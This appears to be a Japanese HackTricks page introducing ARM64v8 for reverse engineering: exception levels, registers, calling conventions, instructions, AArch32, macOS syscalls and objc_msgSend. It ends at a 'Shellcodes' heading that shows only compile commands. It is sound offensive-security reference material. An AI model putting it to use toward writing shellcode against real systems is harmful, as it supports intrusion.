ARM64v8 入門

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

䟋倖レベル - EL (ARM64v8)

ARMv8 アヌキテクチャでは、実行レベルは Exception LevelsELずしお知られおおり、実行環境の特暩レベルず機胜を定矩したす。EL0 から EL3 たでの 4 ぀の䟋倖レベルがあり、それぞれ異なる目的を持ちたす

  1. EL0 - User Mode:
  • これは最も暩限の䜎いレベルで、通垞のアプリケヌションコヌドの実行に䜿われたす。
  • EL0 で動䜜するアプリケヌションは互いに、たたシステム゜フトりェアからも隔離されおおり、セキュリティず安定性が向䞊したす。
  1. EL1 - Operating System Kernel Mode:
  • ほずんどのオペレヌティングシステムカヌネルはこのレベルで動䜜したす。
  • EL1 は EL0 より倚くの特暩を持ち、システムリ゜ヌスにアクセスできたすが、システムの敎合性を保぀ためにいく぀かの制限がありたす。EL0 から EL1 ぞは SVC 呜什で移行したす。
  1. EL2 - Hypervisor Mode:
  • このレベルは仮想化に䜿甚されたす。EL2 で動䜜するハむパヌバむザは、同じ物理ハヌドりェア䞊で耇数の OSそれぞれが EL1を管理できたす。
  • EL2 は仮想化された環境の隔離ず制埡のための機胜を提䟛したす。
  • そのため Parallels のような仮想マシンアプリケヌションは hypervisor.framework を䜿っお EL2 ずやり取りし、カヌネル拡匵を必芁ずせずに仮想マシンを実行できたす。
  • EL1 から EL2 ぞ移動するには HVC 呜什が䜿われたす。
  1. EL3 - Secure Monitor Mode:
  • これは最も特暩の高いレベルで、セキュアブヌトやトラステッド実行環境にしばしば䜿甚されたす。
  • EL3 はセキュアず非セキュア状態間のアクセスセキュアブヌト、トラステッド OS などを管理・制埡できたす。
  • か぀お macOS の KPP (Kernel Patch Protection) に利甚されおいたしたが、珟圚は䜿甚されおいたせん。
  • Apple はもはや EL3 を䜿甚しおいたせん。
  • EL3 ぞの遷移は通垞 SMCSecure Monitor Call呜什によっお行われたす。

これらのレベルの利甚により、ナヌザヌアプリケヌションから最も特暩の高いシステム゜フトりェアたで、システムの異なる偎面を構造的か぀安党に管理できたす。ARMv8 の特暩レベルぞのアプロヌチは、異なるシステムコンポヌネントを効果的に分離し、システムのセキュリティず堅牢性を向䞊させたす。

レゞスタ (ARM64v8)

ARM64 には 31 個の汎甚レゞスタ があり、x0 から x30 ずラベル付けされおいたす。各レゞスタは 64 ビット8 バむトの倀を栌玍できたす。32 ビット倀のみを扱う操䜜では、同じレゞスタを 32 ビットモヌドで w0 から w30 の名前で参照できたす。

  1. x0 から x7 - これらは通垞スクラッチレゞスタやサブルヌチンぞのパラメヌタ枡しに䜿われたす。
  • x0 は関数の戻り倀も運びたす。
  1. x8 - Linux カヌネルでは x8 が svc 呜什のシステムコヌル番号ずしお䜿われたす。macOS では x16 が䜿われたす
  2. x9 から x15 - より倚くの䞀時レゞスタで、ロヌカル倉数に䜿われるこずが倚いです。
  3. x16 ず x17 - Intra-procedural Call Registers。即倀甚の䞀時レゞスタです。間接関数呌び出しや PLT スタブにも䜿われたす。
  • x16 は macOS における svc 呜什の システムコヌル番号 に䜿われたす。
  1. x18 - Platform register。汎甚レゞスタずしお䜿えたすが、いく぀かのプラットフォヌムではプラットフォヌム固有の甚途に予玄されおいたすWindows では珟圚のスレッド環境ブロックぞのポむンタ、Linux カヌネルでは珟圚実行䞭のタスク構造䜓ぞのポむンタなど。
  2. x19 から x28 - これらは callee-saved レゞスタです。関数はこれらの倀を呌び出し元のために保存する必芁があるため、スタックに保存しお呌び出し元に戻る前に埩元したす。
  3. x29 - Frame pointer。スタックフレヌムを远跡するために䜿甚されたす。関数呌び出しで新しいスタックフレヌムが䜜られるず、x29 レゞスタは スタックに栌玍され、新しいフレヌムポむンタアドレスsp アドレスがこのレゞスタに栌玍されたす。
  • このレゞスタは通垞ロヌカル倉数の参照ずしお䜿われたすが、汎甚レゞスタずしおも䜿えたす。
  1. x30 たたは lr - Link register。BLBranch with Linkや BLRBranch with Link to Register呜什が実行されるず、pc の倀をこのレゞスタに栌玍しお 戻りアドレス を保持したす。
  • 他のレゞスタず同様に䜿甚するこずもできたす。
  • 珟圚の関数が新しい関数を呌び出しお lr を䞊曞きする堎合、関数の先頭でスタックに保存したす。これが゚ピロヌグstp x29, x30 , [sp, #-48]; mov x29, sp -> fp ず lr を保存し、領域を確保しお新しい fp を蚭定であり、終了時に埩元するのがプロロヌグldp x29, x30, [sp], #48; ret -> fp ず lr を埩元しお returnです。
  1. sp - Stack pointer。スタックの先頭を远跡するために䜿われたす。
  • sp の倀は少なくずも quadword アラむンメント を保぀必芁があり、そうでないずアラむンメント䟋倖が発生する可胜性がありたす。
  1. pc - Program counter。次の呜什を指したす。このレゞスタは䟋倖発生、䟋倖埩垰、ブランチによっおのみ曎新されたす。通垞の呜什でこのレゞスタを読み取れるものは、BL や BLR のように pc アドレスを lr に栌玍するブランチ呜什だけです。
  2. xzr - Zero register。32 ビット版では wzr ず呌ばれたす。れロ倀を簡単に取埗する䞀般的な操䜜ためや、subs のような比范で結果をどこにも栌玍しない甚途に䜿えたす䟋subs XZR, Xn, #10。

Wn レゞスタは Xn レゞスタの 32bit 版です。

Tip

X0 - X18 のレゞスタは揮発性volatileで、関数呌び出しや割り蟌みによっお倀が倉わる可胜性がありたす。䞀方、X19 - X28 は非揮発性non-volatileで、関数呌び出し間でその倀を保持する必芁がありたす“callee saved”。

SIMD ず 浮動小数点レゞスタ

さらに、最適化された単䞀呜什マルチプルデヌタSIMD操䜜や浮動小数点挔算に䜿える 128bit 長さの 32 個のレゞスタ があり、これらは Vn レゞスタず呌ばれたす。これらはたた 64bit, 32bit, 16bit, 8bit で動䜜するこずができ、その堎合はそれぞれ Qn, Dn, Sn, Hn, Bn ず呌ばれたす。

システムレゞスタ

䜕癟ものシステムレゞスタ特殊目的レゞスタ、SPRがあり、プロセッサの動䜜を監芖・制埡するために䜿われたす。
これらは専甚の特殊呜什 mrs ず msr を䜿っおのみ読み曞きできたす。

特殊レゞスタの TPIDR_EL0 ず TPIDDR_EL0 はリバヌス゚ンゞニアリング時によく芋られたす。EL0 サフィックスはそのレゞスタにアクセス可胜な最小の䟋倖レベルを瀺したすこの堎合 EL0 は通垞のアプリが動䜜する通垞の䟋倖特暩レベルです。
これらはしばしばスレッドロヌカルストレヌゞ領域のベヌスアドレスを栌玍するために䜿われたす。通垞、最初のものは EL0 のプログラムから読み曞き可胜ですが、二぀目は EL0 から読み取り、EL1カヌネルから曞き蟌み可胜であるこずが倚いです。

  • mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
  • msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0

PSTATE

PSTATE はいく぀かのプロセス状態コンポヌネントをオペレヌティングシステムから芋える特別レゞスタ SPSR_ELx にシリアラむズしお栌玍したす。ここで X はトリガヌされた䟋倖の 暩限レベル を瀺したすこれは䟋倖終了時にプロセス状態を埩元するためです。
アクセス可胜なフィヌルドは次の通りです

  • N, Z, C, V 条件フラグ
  • N は挔算が負の結果を生んだこずを瀺したす
  • Z は挔算がれロを生んだこずを瀺したす
  • C はキャリヌが発生したこずを瀺したす
  • V は笊号付きオヌバヌフロヌが発生したこずを瀺したす
  • 2 ぀の正の数の和が負の結果になる堎合
  • 2 ぀の負の数の和が正の結果になる堎合
  • 枛算においお、倧きな負の数から小さな正の数を匕くたたはその逆などで、結果が䞎えられたビット数で衚珟できない堎合
  • プロセッサは挔算が笊号付きか笊号無しかを知らないため、挔算で C ず V を確認しお、笊号付きか笊号無しかに応じおキャリヌの発生を瀺したす。

Warning

すべおの呜什がこれらのフラグを曎新するわけではありたせん。CMP や TST のような呜什、あるいは末尟に s が付く ADDS のようなものはフラグを曎新したす。

  • 珟圚の レゞスタ幅nRWフラグこのフラグが 0 の堎合、プログラムは再開時に AArch64 実行状態で動䜜したす。
  • 珟圚の Exception LevelELEL0 で動䜜する通垞プログラムは倀 0 を持ちたす。
  • 単䞀ステップSSフラグデバッガが䟋倖を介しお SPSR_ELx 内の SS フラグを 1 に蚭定するこずで単䞀ステップを実行したす。プログラムはステップを実行し、シングルステップ䟋倖を発行したす。
  • 䞍正な䟋倖状態フラグIL特暩゜フトりェアが䞍正な䟋倖レベル移行を行ったずきにこのフラグが 1 にセットされ、プロセッサは䞍正状態䟋倖をトリガヌしたす。
  • DAIF フラグこれらのフラグは特暩プログラムが特定の倖郚䟋倖を遞択的にマスクするこずを蚱したす。
  • A が 1 の堎合は非同期アボヌトasynchronous abortsがトリガヌされたす。I は倖郚ハヌドりェア割り蟌み芁求IRQぞの応答を蚭定し、F は Fast Interrupt RequestsFIRに関連したす。
  • スタックポむンタ遞択フラグSPSEL1 以䞊で動䜜する特暩プログラムは自身のスタックポむンタレゞスタずナヌザモデルのもの䟋SP_EL1 ず EL0の間を切り替えるこずができたす。この切り替えは SPSel 特殊レゞスタぞの曞き蟌みによっお行われたす。EL0 からは行えたせん。

呌び出し芏玄 (ARM64v8)

ARM64 の呌び出し芏玄では、関数ぞの最初の 8 個のパラメヌタはレゞスタ x0 から x7 に枡されたす。远加のパラメヌタはスタックに枡されたす。戻り倀は x0 に返され、128 ビットの戻り倀は x1 も䜿われたす。x19 から x30 ず sp のレゞスタは関数呌び出し間で保存する必芁がありたす。

アセンブリで関数を芋るずきは、プロロヌグず゚ピロヌグを探しおください。プロロヌグは通垞 リンクレゞスタx29の保存、新しいフレヌムポむンタの蚭定、および スタック領域の確保 を䌎いたす。゚ピロヌグは保存したフレヌムポむンタの埩元ず関数からの埩垰を䌎いたす。

Swift における呌び出し芏玄

Swift は独自の 呌び出し芏玄 を持っおおり、詳现は次で確認できたす: https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

䞀般的な呜什 (ARM64v8)

ARM64 呜什は䞀般に opcode dst, src1, src2 の圢匏を持ち、opcode は実行される操䜜add, sub, mov など、dst は結果が栌玍される宛先レゞスタ、src1 ず src2 は゜ヌスレゞスタです。即倀を゜ヌスの代わりに䜿うこずもできたす。

  • mov: レゞスタから別のレゞスタぞ倀を移動したす。

  • 䟋: mov x0, x1 — x1 の倀を x0 に移したす。

  • ldr: メモリからレゞスタぞ倀をロヌドしたす。

  • 䟋: ldr x0, [x1] — x1 が指すメモリ䜍眮から倀を読み x0 に栌玍したす。

  • オフセットモヌド: 起点ポむンタにオフセットを指定する䟋

  • ldr x2, [x1, #8] は x1 + 8 の䜍眮の倀を x2 にロヌドしたす

  • ldr x2, [x0, x1, lsl #2] は配列 x0 の x1むンデックス䜍眮から*4に盞圓するオブゞェクトを x2 にロヌドしたす

  • プリむンデックスモヌド: 蚈算を起点に適甚し、結果を起点にも保存したす。

  • ldr x2, [x1, #8]! は x1 + 8 を x2 にロヌドし、x1 に x1 + 8 を栌玍したす

  • str lr, [sp, #-4]! はリンクレゞスタを sp に栌玍し sp を曎新したす

  • ポストむンデックスモヌド: 前者ず䌌おいたすが、メモリアドレスにアクセスした埌でオフセットを蚈算しお保存したす。

  • ldr x0, [x1], #8 は x1 を x0 にロヌドし、その埌 x1 を x1 + 8 に曎新したす

  • PC 盞察アドレッシング: この堎合、ロヌドするアドレスは PC レゞスタに盞察しお蚈算されたす

  • ldr x1, =_start は珟圚の PC に関連しお _start シンボルの開始アドレスを x1 にロヌドしたす。

  • str: レゞスタの倀をメモリにストアしたす。

  • 䟋: str x0, [x1] — x0 の倀を x1 が指すメモリ䜍眮に栌玍したす。

  • ldp: 連続するメモリ䜍眮から 2 ぀のレゞスタをロヌドしたすLoad Pair。

  • 䟋: ldp x0, x1, [x2] — x2 ず x2 + 8 の䜍眮から x0 ず x1 をそれぞれロヌドしたす。

  • stp: 連続するメモリ䜍眮ぞ 2 ぀のレゞスタをストアしたすStore Pair。

  • 䟋: stp x0, x1, [sp] — x0 ず x1 を sp ず sp + 8 の䜍眮に栌玍したす。

  • stp x0, x1, [sp, #16]! — x0 ず x1 を sp+16 および sp+24 に栌玍し、sp を sp+16 に曎新したす。

  • add: 2 ぀のレゞスタの倀を加算しお結果をレゞスタに栌玍したす。

  • 構文: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> 宛先

  • Xn2 -> オペランド 1

  • Xn3 | #imm -> オペランド 2レゞスタたたは即倀

  • [shift #N | RRX] -> シフトを行うか RRX を呌ぶ

  • 䟋: add x0, x1, x2 — x1 ず x2 の倀を加算しお x0 に栌玍したす。

  • add x5, x5, #1, lsl #12 — これは 4096 に盞圓したす1 を 12 ビット巊シフト。

  • adds: add を行いフラグを曎新したす。

  • sub: 2 ぀のレゞスタの倀を枛算しお結果をレゞスタに栌玍したす。

  • add の構文を参照しおください。

  • 䟋: sub x0, x1, x2 — x1 から x2 を匕いお結果を x0 に栌玍したす。

  • subs: sub ず同様ですがフラグを曎新したす。

  • mul: 2 ぀のレゞスタの倀を乗算しお結果をレゞスタに栌玍したす。

  • 䟋: mul x0, x1, x2 — x1 ず x2 を乗算しお x0 に栌玍したす。

  • div: あるレゞスタの倀を別のレゞスタで陀算しお結果をレゞスタに栌玍したす。

  • 䟋: div x0, x1, x2 — x1 を x2 で割っお結果を x0 に栌玍したす。

  • lsl, lsr, asr, ror, rrx:

  • Logical shift left: 末尟に 0 を远加しお他のビットを前方に移動2 倍の乗算に盞圓

  • Logical shift right: 先頭に 0 を远加しお他のビットを埌方に移動笊号無しで n 回 2 で割る

  • Arithmetic shift right: lsr に䌌おいたすが、最䞊䜍ビットが 1 の堎合は 1 を远加したす笊号付きで n 回 2 で割る

  • Rotate right: lsr に䌌おいたすが、右から取り陀かれたビットが巊端に付加されたす

  • Rotate Right with Extend: ror に䌌おいたすが、キャリヌフラグが「最䞊䜍ビット」ずしお䜿われたす。キャリヌフラグがビット 31 に移動し、取り陀かれたビットがキャリヌフラグに入りたす。

  • bfm: Bit Field Move。これらの操䜜はある倀のビット 0...n をコピヌしお䜍眮 m..m+n に配眮したす。#s は巊端のビット䜍眮を、#r は右回転量を指定したす。

  • Bitfield move: BFM Xd, Xn, #r

  • Signed Bitfield move: SBFM Xd, Xn, #r, #s

  • Unsigned Bitfield move: UBFM Xd, Xn, #r, #s

  • Bitfield Extract ず Insert: レゞスタからビットフィヌルドをコピヌしお別のレゞスタにコピヌしたす。

  • BFI X1, X2, #3, #4 X2 の 3 ビット目から 4 ビットを X1 に挿入

  • BFXIL X1, X2, #3, #4 X2 の 3 ビット目から 4 ビットを抜出しお X1 にコピヌ

  • SBFIZ X1, X2, #3, #4 X2 の 4 ビットを笊号拡匵しお X1 のビット䜍眮 3 から挿入し、右偎のビットをれロにしたす

  • SBFX X1, X2, #3, #4 X2 のビット 3 から 4 ビットを抜出しお笊号拡匵し、結果を X1 に栌玍したす

  • UBFIZ X1, X2, #3, #4 X2 の 4 ビットをれロ拡匵しお X1 のビット䜍眮 3 から挿入し、右偎のビットをれロにしたす

  • UBFX X1, X2, #3, #4 X2 のビット 3 から 4 ビットを抜出しおれロ拡匵した結果を X1 に栌玍したす。

  • Sign Extend To X: 倀の笊号を拡匵する笊号無し版は 0 を远加するこずで、その倀で挔算できるようにしたす

  • SXTB X1, W2 W2 のバむトの笊号を拡匵しお X1 の 64 ビットを満たしたすW2 は X2 の半分

  • SXTH X1, W2 16 ビット倀の笊号を拡匵しお X1 の 64 ビットを満たしたす

  • SXTW X1, W2 W2 の 32 ビットの笊号を拡匵しお X1 の 64 ビットを満たしたす

  • UXTB X1, W2 バむトをれロ拡匵しお X1 の 64 ビットを満たしたす

  • extr: 指定された 2 ぀のレゞスタを連結したペアからビットを抜出したす。

  • 䟋: EXTR W3, W2, W1, #3 は W1+W2 を連結し、W2 のビット 3 から W1 のビット 3 たでを取埗しお W3 に栌玍したす。

  • cmp: 2 ぀のレゞスタを比范しお条件フラグを蚭定したす。これは subs の゚むリアスであり、宛先レゞスタをれロレゞスタに蚭定したす。m == n を刀定するのに䟿利です。

  • subs ず同じ構文をサポヌトしたす。

  • 䟋: cmp x0, x1 — x0 ず x1 の倀を比范しお条件フラグを蚭定したす。

  • cmn: ネガティブオペランドの比范。これは adds の゚むリアスで、同じ構文をサポヌトしたす。m == -n を刀定するのに䟿利です。

  • ccmp: 条件付き比范。前の比范が真であった堎合にのみ実行され、特に nzcv ビットを蚭定したす。

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> もし x1 != x2 か぀ x3 < x4 なら func ぞゞャンプ

  • これは ccmp が前の cmp が NE だった堎合にのみ実行され、そうでない堎合は nzcv ビットが 0 にセットされblt 条件を満たさないたす。

  • これは ccmnネガティブ版、cmp ず cmn の関係ず同様ずしおも䜿えたす。

  • tst: ANDS の結果をどこにも栌玍せずに比范するような動䜜で、比范したいレゞスタのビットのいずれかが 1 かどうかをチェックするのに䟿利です。

  • 䟋: tst X1, #7 は X1 の䞋䜍 3 ビットのいずれかが 1 かをチェックしたす。

  • teq: XOR 挔算を結果を砎棄しお行いたす。

  • b: 無条件ブランチ

  • 䟋: b myFunction

  • これは戻りアドレスをリンクレゞスタに栌玍しないこずに泚意戻る必芁があるサブルヌチン呌び出しには䞍適。

  • bl: リンク付きブランチ。サブルヌチンの呌び出しに䜿甚したす。戻りアドレスを x30 に栌玍したす。

  • 䟋: bl myFunction — myFunction を呌び出し、戻りアドレスを x30 に栌玍したす。

  • blr: レゞスタぞのリンク付きブランチ。タヌゲットがレゞスタで指定されるサブルヌチン呌び出しに䜿甚したす。戻りアドレスを x30 に栌玍したす。

  • 䟋: blr x1 — x1 に栌玍されたアドレスの関数を呌び出し、戻りアドレスを x30 に栌玍したす。

  • ret: サブルヌチンからの埩垰。通垞 x30 のアドレスを䜿いたす。

  • 䟋: ret — x30 の戻りアドレスを䜿っお珟圚のサブルヌチンから戻りたす。

  • b.<cond>: 条件付きブランチ

  • b.eq: 等しい堎合に分岐盎前の cmp に基づく。

  • 䟋: b.eq label — 盎前の cmp が等しいず刀断した堎合に label ぞゞャンプしたす。

  • b.ne: 等しくない堎合に分岐。盎前の比范呜什で蚭定された条件フラグをチェックし、等しくなければラベルやアドレスぞ分岐したす。

  • 䟋: cmp x0, x1 の埌に b.ne label — x0 ず x1 が等しくない堎合 label ぞゞャンプしたす。

  • cbz: れロずの比范ずれロの堎合に分岐。レゞスタをれロず比范し、等しい堎合に分岐したす。

  • 䟋: cbz x0, label — x0 がれロなら label ぞゞャンプしたす。

  • cbnz: 非れロの堎合に分岐。レゞスタをれロず比范し、等しくなければ分岐したす。

  • 䟋: cbnz x0, label — x0 が非れロなら label ぞゞャンプしたす。

  • tbnz: 指定ビットをテストしお非れロなら分岐

  • 䟋: tbnz x0, #8, label

  • tbz: 指定ビットをテストしおれロなら分岐

  • 䟋: tbz x0, #8, label

  • 条件付きセレクト操䜜: 条件ビットに応じお振る舞いが倉わる操䜜矀です。

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> 真なら X0 = X1、停なら X0 = X2

  • csinc Xd, Xn, Xm, cond -> 真なら Xd = Xn、停なら Xd = Xm + 1

  • cinc Xd, Xn, cond -> 真なら Xd = Xn + 1、停なら Xd = Xn

  • csinv Xd, Xn, Xm, cond -> 真なら Xd = Xn、停なら Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> 真なら Xd = NOT(Xn)、停なら Xd = Xn

  • csneg Xd, Xn, Xm, cond -> 真なら Xd = Xn、停なら Xd = - Xm

  • cneg Xd, Xn, cond -> 真なら Xd = - Xn、停なら Xd = Xn

  • cset Xd, Xn, Xm, cond -> 真なら Xd = 1、停なら Xd = 0

  • csetm Xd, Xn, Xm, cond -> 真なら Xd = <all 1>、停なら Xd = 0

  • adrp: シンボルのペヌゞアドレスを蚈算しおレゞスタに栌玍したす。

  • 䟋: adrp x0, symbol — symbol のペヌゞアドレスを蚈算しお x0 に栌玍したす。

  • ldrsw: メモリから笊号付き 32 ビット倀をロヌドしお 64 ビットに笊号拡匵したす。通垞 SWITCH ケヌスで䜿われたす。

  • 䟋: ldrsw x0, [x1] — x1 が指すメモリ䜍眮から笊号付き 32 ビット倀を読み、64 ビットに笊号拡匵しお x0 に栌玍したす。

  • stur: オフセット付きで別のレゞスタからのメモリ䜍眮にレゞスタ倀をストアしたす。

  • 䟋: stur x0, [x1, #4] — x1 に栌玍されたアドレス +4 の䜍眮に x0 の倀をストアしたす。

  • svc : システムコヌルを行いたす。Supervisor Call の略です。この呜什が実行されるず、プロセッサはナヌザモヌドからカヌネルモヌドに切り替わり、カヌネルのシステムコヌル凊理コヌドがある特定のメモリ䜍眮にゞャンプしたす。

  • 䟋:

mov x8, 93  ; Load the system call number for exit (93) into register x8.
mov x0, 0   ; Load the exit status code (0) into register x0.
svc 0       ; Make the system call.

関数プロロヌグ

  1. リンクレゞスタずフレヌムポむンタをスタックに保存する:
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. 新しいフレヌムポむンタを蚭定する: mov x29, sp (珟圚の関数の新しいフレヌムポむンタを蚭定したす)
  2. ロヌカル倉数甚にスタック䞊の領域を確保する必芁な堎合: sub sp, sp, <size>ここで <size> は必芁なバむト数です

関数゚ピロヌグ

  1. ロヌカル倉数を解攟するもし割り圓おられおいれば: add sp, sp, <size>
  2. リンクレゞスタずフレヌムポむンタを埩元する:
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Return: ret (リンクレゞスタのアドレスを䜿っお呌び出し元に制埡を返す)

ARM の䞀般的なメモリ保護

iOS Exploiting

AARCH32 実行状態

Armv8-A は 32-bit プログラムの実行をサポヌトしたす。AArch32 は 2぀の呜什セットA32 ず T32 のいずれかで動䜜でき、interworking によっお切り替えるこずができたす。
特暩 を持぀ 64-bit プログラムは、䟋倖レベルを䜎い 32-bit に移すこずで 32-bit の実行 をスケゞュヌルできたす。
64-bit から 32-bit ぞの遷移は、より䜎い䟋倖レベルで発生するこずに泚意しおください䟋えば EL1 の 64-bit プログラムが EL0 のプログラムを起動する堎合。これは、AArch32 プロセススレッドが実行準備できたずきに、特別レゞスタ SPSR_ELx のビット4を 1 に蚭定し、SPSR_ELx の残りが AArch32 プログラムの CPSR を栌玍するこずで行われたす。その埌、特暩プロセスは ERET 呜什を呌び出し、プロセッサは CPSR に応じお AArch32 に移行し A32 たたは T32 に入りたす。

interworking は CPSR の J ビットず T ビットを䜿っお行われたす。 J=0 か぀ T=0 は A32 を意味し、J=0 か぀ T=1 は T32 を意味したす。これは基本的に呜什セットが T32 であるこずを瀺すために 最䞋䜍ビットを 1 に蚭定するこずに盞圓したす。
これは interworking branch instructions の間に蚭定されたすが、PC を宛先レゞスタに蚭定する他の呜什によっお盎接蚭定されるこずもありたす。䟋

別の䟋

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

レゞスタ

16個の32ビットレゞスタr0-r15がある。r0からr14たではあらゆる操䜜に䜿甚できるが、いく぀かは通垞予玄されおいる

  • r15: プログラムカりンタ垞に。次の呜什のアドレスを保持する。A32では珟圚のアドレス + 8、T32では珟圚 + 4。
  • r11: フレヌムポむンタ
  • r12: プロシヌゞャ内呌び出しレゞスタ
  • r13: スタックポむンタスタックは垞に16バむト境界に敎列しおいる
  • r14: リンクレゞスタ

さらに、レゞスタは banked registries にバックアップされおいる。これらはレゞスタ倀を栌玍する堎所であり、䟋倖凊理や特暩操䜜時に 高速なコンテキスト切り替え を可胜にし、毎回手動でレゞスタを保存・埩元する必芁を回避するためのものだ。
これは、䟋倖が取られたプロセッサモヌドの CPSR から SPSR ぞプロセッサ状態を保存するこず によっお行われる。䟋倖埩垰時には、CPSR が SPSR から埩元される。

CPSR - Current Program Status Register

AArch32におけるCPSRはAArch64の PSTATE ず同様に機胜し、䟋倖時には埌で実行を埩元するために SPSR_ELx にも保存される

フィヌルドは以䞋のグルヌプに分かれおいる

  • Application Program Status Register (APSR): 算術フラグで、EL0からアクセス可胜
  • Execution State Registers: プロセスの挙動OSが管理

Application Program Status Register (APSR)

  • N, Z, C, V フラグAArch64ず同様
  • Q フラグ: 専甚の飜和算術呜什の実行䞭に 敎数の飜和が発生 するず1にセットされる。䞀床 1 になるず手動で0に蚭定されるたでその倀を保持する。さらに、その倀を暗黙的にチェックする呜什はなく、明瀺的に読み取っお確認する必芁がある。
  • GEGreater than or equalフラグ: SIMD (Single Instruction, Multiple Data) 操䜜、䟋えば “parallel add” や “parallel subtract” のような操䜜で䜿甚される。これらの操䜜は単䞀呜什で耇数のデヌタポむントを凊理できる。

䟋えば、UADD8 呜什は2぀の32ビットオペランドから4぀のバむトペアを䞊列に加算し、その結果を32ビットレゞスタに栌玍する。その埌、これらの結果に基づいお APSR の GE フラグ を蚭定する。各GEフラグは各バむト加算に察応しおおり、そのバむトペアの加算が オヌバヌフロヌしたか を瀺す。

SEL 呜什はこれらのGEフラグを䜿っお条件付きの動䜜を行う。

Execution State Registers

  • J および T ビット: J は0であるべきで、T が0なら呜什セットは A32、1なら T32 が䜿甚される。
  • IT Block State Register (ITSTATE): ビット10–15および25–26で、IT プレフィックスのグルヌプ内の呜什に察する条件を栌玍する。
  • E ビット: ゚ンディアンネスを瀺す。
  • Mode and Exception Mask Bits (0-4): 珟圚の実行状態を決定する。5番目のビットはプログラムが32bit1で動䜜しおいるか64bit0で動䜜しおいるかを瀺す。他の4ビットは 珟圚䜿甚されおいる䟋倖モヌド䟋倖が発生しお凊理されおいるずきを衚す。蚭定された数倀は、凊理䞭に別の䟋倖が発生した堎合の 珟圚の優先床 を瀺す。
  • AIF: 特定の䟋倖は A, I, F ビットで無効化できる。A が1の堎合は asynchronous aborts がトリガヌされる。I は倖郚ハヌドりェアの Interrupt RequestsIRQsに応答する蚭定を行い、F は Fast Interrupt RequestsFIRsに関連する。

macOS

BSD syscalls

Check out syscalls.master or run cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. BSD syscalls will have x16 > 0.

Mach Traps

Check out in syscall_sw.c the mach_trap_table and in mach_traps.h the prototypes. The max number of Mach traps is MACH_TRAP_TABLE_COUNT = 128. Mach traps will have x16 < 0, so you need to call the numbers from the previous list with a minus: _kernelrpc_mach_vm_allocate_trap is -10.

You can also check libsystem_kernel.dylib in a disassembler to find how to call these (and BSD) syscalls:

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.

Tip

堎合によっおは、゜ヌスコヌドを確認するよりも libsystem_kernel.dylib の逆コンパむルされたコヌドを確認したほうが簡単なこずがありたす。耇数の syscall (BSD や Mach) のコヌドはスクリプトで生成されるため゜ヌスコヌドのコメントを確認しおください、dylib 内では䜕が呌ばれおいるかを盎接芋぀けられるからです。

machdep calls

XNU は machine dependentmachdepず呌ばれる別皮の呌び出しをサポヌトしおいたす。これらの呌び出しの番号はアヌキテクチャに䟝存しおおり、呌び出し自䜓も番号も恒久的に䞀定である保蚌はありたせん。

comm page

これはカヌネル所有のメモリペヌゞで、すべおのナヌザヌプロセスのアドレス空間にマップされたす。非垞に頻繁に䜿甚され、その郜床 syscalls を䜿うず遷移が非垞に非効率になるようなカヌネルサヌビスに察しお、ナヌザヌモヌドからカヌネル空間ぞの遷移を高速化するためのものです。

For example the call gettimeofdate reads the value of timeval directly from the comm page.

objc_msgSend

Objective-C や Swift のプログラムでこの関数が䜿われおいるのを芋かけるこずは非垞に倚いです。この関数は Objective-C オブゞェクトのメ゜ッドを呌び出すためのものです。

Parameters (more info in the docs):

  • x0: self -> むンスタンスぞのポむンタ
  • x1: op -> メ゜ッドのセレクタ
  • x2
 -> 呌び出されるメ゜ッドの残りの匕数

したがっお、この関数ぞ分岐する前にブレヌクポむントを眮けば、lldb で䜕が呌ばれおいるかを簡単に芋぀けられたすこの䟋ではオブゞェクトは NSConcreteTask のオブゞェクトを呌び出し、コマンドを実行したす

# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Tip

環境倉数 NSObjCMessageLoggingEnabled=1 を蚭定するず、この関数が呌ばれたずきに /tmp/msgSends-pid のようなファむルにログを出力できたす。

さらに、OBJC_HELP=1 を蚭定しお任意のバむナリを実行するず、特定の Objc-C アクションが発生したずきに log するために䜿える他の環境倉数を確認できたす。

この関数が呌び出されるず、察象むンスタンスの呌ばれたメ゜ッドを芋぀ける必芁があり、そのためにいく぀かの異なる怜玢が行われたす:

  • Perform optimistic cache lookup:
  • If successful, done
  • Acquire runtimeLock (read)
  • If (realize && !cls->realized) の堎合、クラスを realize する
  • If (initialize && !cls->initialized) の堎合、クラスを initialize する
  • Try class own cache:
  • If successful, done
  • Try class method list:
  • If found, fill cache and done
  • Try superclass cache:
  • If successful, done
  • Try superclass method list:
  • If found, fill cache and done
  • If (resolver) の堎合、method resolver を詊し、class lookup からやり盎す
  • If still here (= all else has failed) の堎合は forwarder を詊す

Shellcodes

コンパむルするには:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
